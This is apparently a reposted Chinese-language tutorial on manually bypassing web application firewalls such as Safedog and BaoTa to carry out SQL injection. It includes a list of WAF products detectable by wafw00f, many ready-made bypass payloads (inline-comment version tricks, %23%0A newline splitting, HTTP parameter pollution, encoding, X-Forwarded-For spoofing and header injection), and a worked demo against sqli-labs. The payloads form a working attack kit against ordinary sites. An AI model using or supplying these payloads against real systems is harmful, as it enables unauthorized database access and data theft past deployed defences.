SQL注入之WAF手工繞過


前言

在實際的滲透測試過程中,經常會碰到網站存在WAF的情況。網站存在WAF,意味着我們不能使用安全工具對網站進行測試,因為一旦觸碰了WAF的規則,輕則丟棄報文,重則拉黑IP。所以,我們需要手動進行WAF的繞過,而繞過WAF前肯定需要對WAF的工作原理有一定的理解。

img

img

phpstudy+safedog安裝找不到服務解決

參考鏈接:https://www.freesion.com/article/15621202542/

市面上常見的waf產品列表分析 wafw00f

1.工具簡介

現在網站為了加強自身安全,通常都會安裝各類防火牆。這些防火牆往往會攔截各種掃描 請求,使得測試人員無法正確判斷網站相關信息。Kali Linux 提供了一款網站防火牆探測工具 Wafw00f。它可以通過發送正常和帶惡意代碼的 HTTP 請求,以探測網站是否存在防火牆,並識別防火牆的類型。

2.WAFW00F 怎么工作

發送正常的 HTTP 請求,然后分析響應,這可以識別出很多 WAF。
如果不成功,它會發送一些(可能是惡意的)HTTP 請求,使用簡單的邏輯推斷是哪一 個 WAF。
如果這也不成功,它會分析之前返回的響應,使用其它簡單的算法猜測是否有某個 WAF 或者安全解決方案響應了我們的攻擊。

3.參數

它可以檢測很多 WAF。想要查看它能檢測哪些 WAF,以-l 參數執行 WAFW00F

ACE XML Gateway                  Cisco
     aeSecure                         aeSecure
     AireeCDN                         Airee
     Airlock                          Phion/Ergon
     Alert Logic                      Alert Logic
     AliYunDun                        Alibaba Cloud Computing
     Anquanbao                        Anquanbao
     AnYu                             AnYu Technologies
     Approach                         Approach
     AppWall                          Radware
     Armor Defense                    Armor
     ArvanCloud                       ArvanCloud
     ASP.NET Generic                  Microsoft
     ASPA Firewall                    ASPA Engineering Co.
     Astra                            Czar Securities
     AWS Elastic Load Balancer        Amazon
     AzionCDN                         AzionCDN
     Azure Front Door                 Microsoft
     Barikode                         Ethic Ninja
     Barracuda                        Barracuda Networks
     Bekchy                           Faydata Technologies Inc.
     Beluga CDN                       Beluga
     BIG-IP Local Traffic Manager     F5 Networks
     BinarySec                        BinarySec
     BitNinja                         BitNinja
     BlockDoS                         BlockDoS
     Bluedon                          Bluedon IST
     BulletProof Security Pro         AITpro Security
     CacheWall                        Varnish
     CacheFly CDN                     CacheFly
     Comodo cWatch                    Comodo CyberSecurity
     CdnNS Application Gateway        CdnNs/WdidcNet
     ChinaCache Load Balancer         ChinaCache
     Chuang Yu Shield                 Yunaq
     Cloudbric                        Penta Security
     Cloudflare                       Cloudflare Inc.
     Cloudfloor                       Cloudfloor DNS
     Cloudfront                       Amazon
     CrawlProtect                     Jean-Denis Brun
     DataPower                        IBM
     DenyALL                          Rohde & Schwarz CyberSecurity
     Distil                           Distil Networks
     DOSarrest                        DOSarrest Internet Security
     DotDefender                      Applicure Technologies
     DynamicWeb Injection Check       DynamicWeb
     Edgecast                         Verizon Digital Media
     Eisoo Cloud Firewall             Eisoo
     Expression Engine                EllisLab
     BIG-IP AppSec Manager            F5 Networks
     BIG-IP AP Manager                F5 Networks
     Fastly                           Fastly CDN
     FirePass                         F5 Networks
     FortiWeb                         Fortinet
     GoDaddy Website Protection       GoDaddy
     Greywizard                       Grey Wizard
     Huawei Cloud Firewall            Huawei
     HyperGuard                       Art of Defense
     Imunify360                       CloudLinux
     Incapsula                        Imperva Inc.
     IndusGuard                       Indusface
     Instart DX                       Instart Logic
     ISA Server                       Microsoft
     Janusec Application Gateway      Janusec
     Jiasule                          Jiasule
     Kona SiteDefender                Akamai
     KS-WAF                           KnownSec
     KeyCDN                           KeyCDN
     LimeLight CDN                    LimeLight
     LiteSpeed                        LiteSpeed Technologies
     Open-Resty Lua Nginx             FLOSS
     Oracle Cloud                     Oracle
     Malcare                          Inactiv
     MaxCDN                           MaxCDN
     Mission Control Shield           Mission Control
     ModSecurity                      SpiderLabs
     NAXSI                            NBS Systems
     Nemesida                         PentestIt
     NevisProxy                       AdNovum
     NetContinuum                     Barracuda Networks
     NetScaler AppFirewall            Citrix Systems
     Newdefend                        NewDefend
     NexusGuard Firewall              NexusGuard
     NinjaFirewall                    NinTechNet
     NullDDoS Protection              NullDDoS
     NSFocus                          NSFocus Global Inc.
     OnMessage Shield                 BlackBaud
     Palo Alto Next Gen Firewall      Palo Alto Networks
     PerimeterX                       PerimeterX
     PentaWAF                         Global Network Services
     pkSecurity IDS                   pkSec
     PT Application Firewall          Positive Technologies
     PowerCDN                         PowerCDN
     Profense                         ArmorLogic
     Puhui                            Puhui
     Qcloud                           Tencent Cloud
     Qiniu                            Qiniu CDN
     Reblaze                          Reblaze
     RSFirewall                       RSJoomla!
     RequestValidationMode            Microsoft
     Sabre Firewall                   Sabre
     Safe3 Web Firewall               Safe3
     Safedog                          SafeDog
     Safeline                         Chaitin Tech.
     SecKing                          SecKing
     eEye SecureIIS                   BeyondTrust
     SecuPress WP Security            SecuPress
     SecureSphere                     Imperva Inc.
     Secure Entry                     United Security Providers
     SEnginx                          Neusoft
     ServerDefender VP                Port80 Software
     Shield Security                  One Dollar Plugin
     Shadow Daemon                    Zecure
     SiteGround                       SiteGround
     SiteGuard                        Sakura Inc.
     Sitelock                         TrueShield
     SonicWall                        Dell
     UTM Web Protection               Sophos
     Squarespace                      Squarespace
     SquidProxy IDS                   SquidProxy
     StackPath                        StackPath
     Sucuri CloudProxy                Sucuri Inc.
     Tencent Cloud Firewall           Tencent Technologies
     Teros                            Citrix Systems
     Trafficshield                    F5 Networks
     TransIP Web Firewall             TransIP
     URLMaster SecurityCheck          iFinity/DotNetNuke
     URLScan                          Microsoft
     UEWaf                            UCloud
     Varnish                          OWASP
     Viettel                          Cloudrity
     VirusDie                         VirusDie LLC
     Wallarm                          Wallarm Inc.
     WatchGuard                       WatchGuard Technologies
     WebARX                           WebARX Security Solutions
     WebKnight                        AQTRONIX
     WebLand                          WebLand
     wpmudev WAF                      Incsub
     RayWAF                           WebRay Solutions
     WebSEAL                          IBM
     WebTotem                         WebTotem
     West263 CDN                      West263CDN
     Wordfence                        Defiant
     WP Cerber Security               Cerber Tech
     WTS-WAF                          WTS
     360WangZhanBao                   360 Technologies
     XLabs Security WAF               XLabs
     Xuanwudun                        Xuanwudun
     Yundun                           Yundun
     Yunsuo                           Yunsuo
     Yunjiasu                         Baidu Cloud Computing
     YXLink                           YxLink Technologies
     Zenedge                          Zenedge
     ZScaler                          Accenture

4.命令:

wafw00f 域名/IP

image.png

部分 bypass sqlinject payload

id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

WAF及繞過思路

1.WAF

Web應用防護系統(Web Application Firewall, 簡稱:WAF)代表了一類新興的信息安全技術,用以解決諸如防火牆一類傳統設備束手無策的Web應用安全問題。
首先,WAF分為非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、雲WAF、軟件型WAF之類的;而嵌入型WAF指的是網站內置的WAF。非嵌入型WAF對Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web數據是已經被解析加工好的。所以非嵌入型的受攻擊機面還涉及到其他層面,而嵌入型WAF從Web容器模塊型WAF、代碼層WAF往下走,其對抗畸形報文、掃操作繞過的能力越來越強。當然,在部署維護成本方面,也是越高的。
如圖,就是自帶的阿里雲盾:

image.png

寶塔一鍵化搭建(大部分非法網站都是使用的寶塔)

image.png

安全狗(用的比較多,是因為是免費的)

image.png

不開啟全部是因為有些頁面會出現誤報

資源防護

image.png

image.png

image.png

流量防護

image.png

網站防護

image.png

漏洞防護

image.png

image.png

image.png

2.WAF繞過-應用層

1.大小寫/關鍵字替換

id=1UnIoN/**/SeLeCT1,user()
Hex() bin() 等價於 ascii()
Sleep() 等價於 benchmark()
Mid() substring() 等價於substr()
@@user 等價於 User()
@@Version 等價於 version()

各種編碼

大小寫,URL,hex,%0A等

注釋使用

//----+#//+:%00/!/等

再次循環

union==uunionnion

等價替換

user()=@@user()and=&or=|ascii=hex等

參數污染

?id=1&id=2&id=3

編碼解碼及加密解密

s->%73->%25%37%33
hex,unlcode,base64等

更改請求提交方式

GET POST COOKIE等
POST->multipart/form-data

2.中間件HPP(HTTP參數污染)

HPP是HTTP Parameter Pollution的縮寫,意為HTTP參數污染。
原理:瀏覽器在跟服務器進行交互的過程中,瀏覽器往往會在GET/POST請求里面帶上參數,這些參數會以 名稱-值 對的形勢出現,通常在一個請求中,同樣名稱的參數只會出現一次。但是在HTTP協議中是允許同樣名稱的參數出現多次的。比如下面這個鏈接:http://www.baidu.com?name=aa&name=bb ,針對同樣名稱的參數出現多次的情況,不同的服務器的處理方式會不一樣。有的服務器是取第一個參數,也就是name=aa。有的服務器是取第二個參數,也就是name=bb。有的服務器兩個參數都取,也就是name=aa,bb 。這種特性在繞過一些服務器端的邏輯判斷時,非常有用。
HPP漏洞,與Web服務器環境、服務端使用的腳本有關。如下是不同Web服務器對於出現多個參數時的選擇:
通過HPP接管賬戶
當網站開發者不熟悉Web服務器對於多參數時如何選擇,將給攻擊者可乘之機。HPP能針對客戶端和服務端進行攻擊。
HPP參數污染還可以用於繞過某些防火牆對於 SQL注入的檢測,例如當Web服務器對多參數都同時選擇時,我們可以用以下這種方式繞過某些防火牆:

http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1

image.png

HTTP參數污染是指當同一參數出現多次,不同的中間件會解析為不同的結果

以參數color=red&color=blue為例

img

3.WAF繞過-數據庫特性

1、Mysql技巧

image.png

(1)mysql注釋符有三種:#、/**/、-- ...(注意--后面有一個空格,或者為--+)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符號:%a換行符
可結合注釋符使用%23%0a,%2d%2d%0a。
(3)內聯注釋:
/!UnIon12345SelEcT/1,user()//數字范圍1000-50540
(4)mysql黑魔法
select{xusername}from{x11test.admin};

2、SQLServer技巧

(1)用來注釋掉注射后查詢的其余部分:
/*C語言風格注釋
SQL注釋
;00%空字節
(2)空白符:[0x01-0x20]
(3)特殊符號:%3a冒號
id=1union:select1,2from:admin
(4)函數變形:如db_name 空白字符

3、Oracle技巧

(1)注釋符:--、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合FUZZ(SQLI FUZZ字典,SQL注入過濾關鍵字的Fuzz字典)

就是模糊測試,批量測試
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

5.數據庫特性(補充)

%23x%0aunion%23x%0Aselect%201,2,3    
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

分析下句

%20union%20/*!44509select*/%201,2,3

image.png

繞過了waf

image.png

4.WAF繞過-邏輯層

1、邏輯問題
(1)雲waf防護,一般我們會嘗試通過查找站點的真實IP,從而繞過CDN防護。
(2)當提交GET、POST同時請求時,進入POST邏輯,而忽略了GET請求的有害參數輸入,可嘗試Bypass。
(3)HTTP和HTTPS同時開放服務,沒有做HTTP到HTTPS的強制跳轉,導致HTTPS有WAF防護,HTTP
沒有防護,直接訪問HTTP站點繞過防護。
(4)特殊符號%00,部分waf遇到%00截斷,只能獲取到前面的參數,無法獲取到后面的有害參數
輸入,從而導致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns

2、性能問題
猜想1:在設計WAF系統時,考慮自身性能問題,當數據量達到一定層級,不檢測這部分數據。只要不斷的填充數據,當數據達到一定數目之后,惡意代碼就不會被檢測了。
猜想2:不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度就會引發bug,從而實現繞過。

例子1:

?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000指0xA后面”A"重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考也許在有些情況下可能不需要這么長也能溢出。

例子2:

?a0=0&a1=1&.....&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata

備注:獲取請求參數,只獲取前100個參數,第101個參數並沒有獲取到,導致SQL注入繞過。

3、白名單
方式一:IP白名單
從網絡層獲取的ip,這種一般偽造不來,如果是獲取客戶端的IP,這樣就可能存在偽造IP繞過的情況。

測試方法:修改http的header來bypasswaf

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

方式二:靜態資源
特定的靜態資源后綴請求,常見的靜態文件(.js.jpg.swf.css等等),類似白名單機制,waf為了檢測效率,不去檢測這樣一些靜態文件名后綴的請求。

http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1

備注:Aspx/php只識別到前面的.aspx/.php,后面基本不識別

方式三:url白名單

為了防止誤攔,部分waf內置默認的白名單列表,如admin/manager/system等管理后台。只要url中存在白名單的字符串,就作為白名單不進行檢測。常見的url構造姿勢

涉及資源:

https://www.cnblogs.com/backlion/p/9721687.html

https://blog.csdn.net/nzjdsds/article/details/93740686

案例演示

WAF部署-安全狗,寶塔等waf搭建部署

寶塔:https://blog.csdn.net/weixin_43253175/article/details/105752439

1.以已經安裝waf的sqlli-labs less2為例

image.png

直接輸入payload會被攔截,無法注入

image.png

使用post提交方式即可繞過(前提條件是源碼支持該提交方式)

image.png

頁面顯示不正常,是因為有些代碼只支持特定的提交方式,比如該關是使用get提交方式,思路是對的,但是在本關是無法成功的

image.png

將本關源碼get接收參數改為post,在判斷回顯位時可以正常注入

image.png

在進行回顯位查詢信息時,出現報錯,是因為出現了過濾詞database,是因為安全狗里面的漏洞防護規則里打開了防止查詢數據庫相關信息的規則

image.png

image.png

將該規則關閉之后可以正常注入

image.png

正常waf是開着的,所以針對攔截數據,我們可以針對數據進行相關的編譯

image.png

image.png

將源碼改為只允許GET

進行嘗試,發現union不被攔截,select也不被攔截。而union select被攔截,說明是 union select關鍵詞的問題。

image.png

原因是開啟了攔截聯合查詢的規則

image.png

使用

%23是# 
%0A代表的是一個換行符

原理

#是為了閉合a ,使用%0A換行是為了將union和select連接起來。如果不換行的話union后面的#會將union后面所有的語句注釋掉

image.png

image.png

image.png

image.png

參數污染

原理

/** */ 注釋

語句沒有執行

image.png

image.png

image.png

image.png

image.png

簡要講解安全狗,寶塔等防護waf策略規則

https://blog.csdn.net/cheng1432996862/article/details/100968815?utm_term=waf%E5%B8%B8%E8%A7%81%E8%A7%84%E5%88%99&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2allsobaiduweb~default-1-100968815&spm=3001.4430

簡要演示安全狗 bypass sqlinject 防護規則

eg:
當前執行語句:
select * from users where id=-1 union select 1,2,3#*/
安全狗匹配的時候匹配的是
1/**-1 union select 1,2,3#*/
或1/**&id-1%20union%20select%201,2,3%23*/
其中符號中起到注釋作用,正常情況下沒有執行,
安全狗直接不管,但是參數污染導致的真實數據是
-1 union select 1,2,3#*/正常執行sql

實測簡易CMS頭部注入漏洞Bypass原理分析

抓包,注入點:X-Forwarded-For:
如:X-Forwarded-For:8.8.8.8' union select 1,2,3,database(),5#

image.png

image.png

image.png


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM